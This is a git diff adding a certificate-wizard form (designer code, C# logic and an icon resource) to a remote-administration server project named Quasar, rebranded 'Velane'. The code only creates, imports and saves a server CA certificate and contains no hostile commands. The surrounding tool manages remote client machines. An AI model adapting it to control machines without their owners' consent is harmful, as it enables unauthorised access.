/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.Designer.cs new file mode 100755 index 0000000..8aba8ab --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.Designer.cs @@ -0,0 +1,168 @@ +namespace Quasar.Server.Forms +{ + partial class FrmCertificate + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmCertificate)); + this.lblInfo = new System.Windows.Forms.Label(); + this.btnCreate = new System.Windows.Forms.Button(); + this.lblDescription = new System.Windows.Forms.Label(); + this.txtDetails = new System.Windows.Forms.TextBox(); + this.btnImport = new System.Windows.Forms.Button(); + this.btnSave = new System.Windows.Forms.Button(); + this.label1 = new System.Windows.Forms.Label(); + this.btnExit = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblInfo + // + this.lblInfo.AutoSize = true; + this.lblInfo.Location = new System.Drawing.Point(15, 66); + this.lblInfo.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblInfo.Name = "lblInfo"; + this.lblInfo.Size = new System.Drawing.Size(155, 19); + this.lblInfo.TabIndex = 3; + this.lblInfo.Text = "(this might take a while)"; + // + // btnCreate + // + this.btnCreate.Location = new System.Drawing.Point(15, 34); + this.btnCreate.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnCreate.Name = "btnCreate"; + this.btnCreate.Size = new System.Drawing.Size(94, 29); + this.btnCreate.TabIndex = 1; + this.btnCreate.Text = "Create"; + this.btnCreate.UseVisualStyleBackColor = true; + this.btnCreate.Click += new System.EventHandler(this.btnCreate_Click); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblDescription.Location = new System.Drawing.Point(11, 11); + this.lblDescription.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(618, 20); + this.lblDescription.TabIndex = 0; + this.lblDescription.Text = "To use Quasar create a new certificate or import an existing one from a previous " + + "installation."; + // + // txtDetails + // + this.txtDetails.Location = new System.Drawing.Point(15, 86); + this.txtDetails.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.txtDetails.Multiline = true; + this.txtDetails.Name = "txtDetails"; + this.txtDetails.ReadOnly = true; + this.txtDetails.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtDetails.Size = new System.Drawing.Size(645, 286); + this.txtDetails.TabIndex = 4; + // + // btnImport + // + this.btnImport.Location = new System.Drawing.Point(116, 34); + this.btnImport.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnImport.Name = "btnImport"; + this.btnImport.Size = new System.Drawing.Size(162, 29); + this.btnImport.TabIndex = 2; + this.btnImport.Text = "Browse && Import"; + this.btnImport.UseVisualStyleBackColor = true; + this.btnImport.Click += new System.EventHandler(this.btnImport_Click); + // + // btnSave + // + this.btnSave.Enabled = false; + this.btnSave.Location = new System.Drawing.Point(466, 381); + this.btnSave.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(94, 29); + this.btnSave.TabIndex = 6; + this.btnSave.Text = "Save"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(11, 386); + this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(452, 20); + this.label1.TabIndex = 5; + this.label1.Text = "KEEP THIS FILE SAFE! LOSS RESULTS IN LOOSING ALL CLIENTS!"; + // + // btnExit + // + this.btnExit.Location = new System.Drawing.Point(568, 382); + this.btnExit.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnExit.Name = "btnExit"; + this.btnExit.Size = new System.Drawing.Size(94, 29); + this.btnExit.TabIndex = 7; + this.btnExit.Text = "Exit"; + this.btnExit.UseVisualStyleBackColor = true; + this.btnExit.Click += new System.EventHandler(this.btnExit_Click); + // + // FrmCertificate + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(676, 426); + this.Controls.Add(this.btnExit); + this.Controls.Add(this.label1); + this.Controls.Add(this.btnSave); + this.Controls.Add(this.lblDescription); + this.Controls.Add(this.txtDetails); + this.Controls.Add(this.lblInfo); + this.Controls.Add(this.btnImport); + this.Controls.Add(this.btnCreate); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmCertificate"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Velane - Certificate Wizard"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.Label lblInfo; + private System.Windows.Forms.Button btnCreate; + private System.Windows.Forms.TextBox txtDetails; + private System.Windows.Forms.Button btnImport; + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Button btnExit; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.cs new file mode 100755 index 0000000..b54d513 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.cs @@ -0,0 +1,102 @@ +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Helper; +using System; +using System.Diagnostics; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Windows.Forms; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; + +namespace Quasar.Server.Forms +{ + public partial class FrmCertificate : Form + { + private X509Certificate2 _certificate; + + public FrmCertificate() + { + InitializeComponent(); + } + + private void SetCertificate(X509Certificate2 certificate) + { + _certificate = certificate; + txtDetails.Text = _certificate.ToString(false); + btnSave.Enabled = true; + } + + private void btnCreate_Click(object sender, EventArgs e) + { + SetCertificate(CertificateHelper.CreateCertificateAuthority("Quasar Server CA", 4096)); + } + + private void btnImport_Click(object sender, EventArgs e) + { + using (var ofd = new OpenFileDialog()) + { + ofd.CheckFileExists = true; + ofd.Filter = "*.p12|*.p12"; + ofd.Multiselect = false; + ofd.InitialDirectory = Application.StartupPath; + if (ofd.ShowDialog(this) == DialogResult.OK) + { + try + { + SetCertificate(new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable)); + } + catch (Exception ex) + { + MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + + private void btnSave_Click(object sender, EventArgs e) + { + try + { + if (_certificate == null) + throw new ArgumentNullException(); + + if (!_certificate.HasPrivateKey) + throw new ArgumentException(); + + File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12)); + + MessageBox.Show(this, + "Please backup the certificate now. Loss of the certificate results in loosing all clients!", + "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); + + string argument = "/select, \"" + Settings.CertificatePath + "\""; + Process.Start("explorer.exe", argument); + + this.DialogResult = DialogResult.OK; + } + catch (ArgumentNullException) + { + MessageBox.Show(this, "Please create or import a certificate first.", "Save error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + catch (ArgumentException) + { + MessageBox.Show(this, + "The imported certificate has no associated private key. Please import a different certificate.", + "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + catch (Exception) + { + MessageBox.Show(this, + "There was an error saving the certificate, please make sure you have write access to the Quasar directory.", + "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnExit_Click(object sender, EventArgs e) + { + Environment.Exit(0); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmCertificate.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 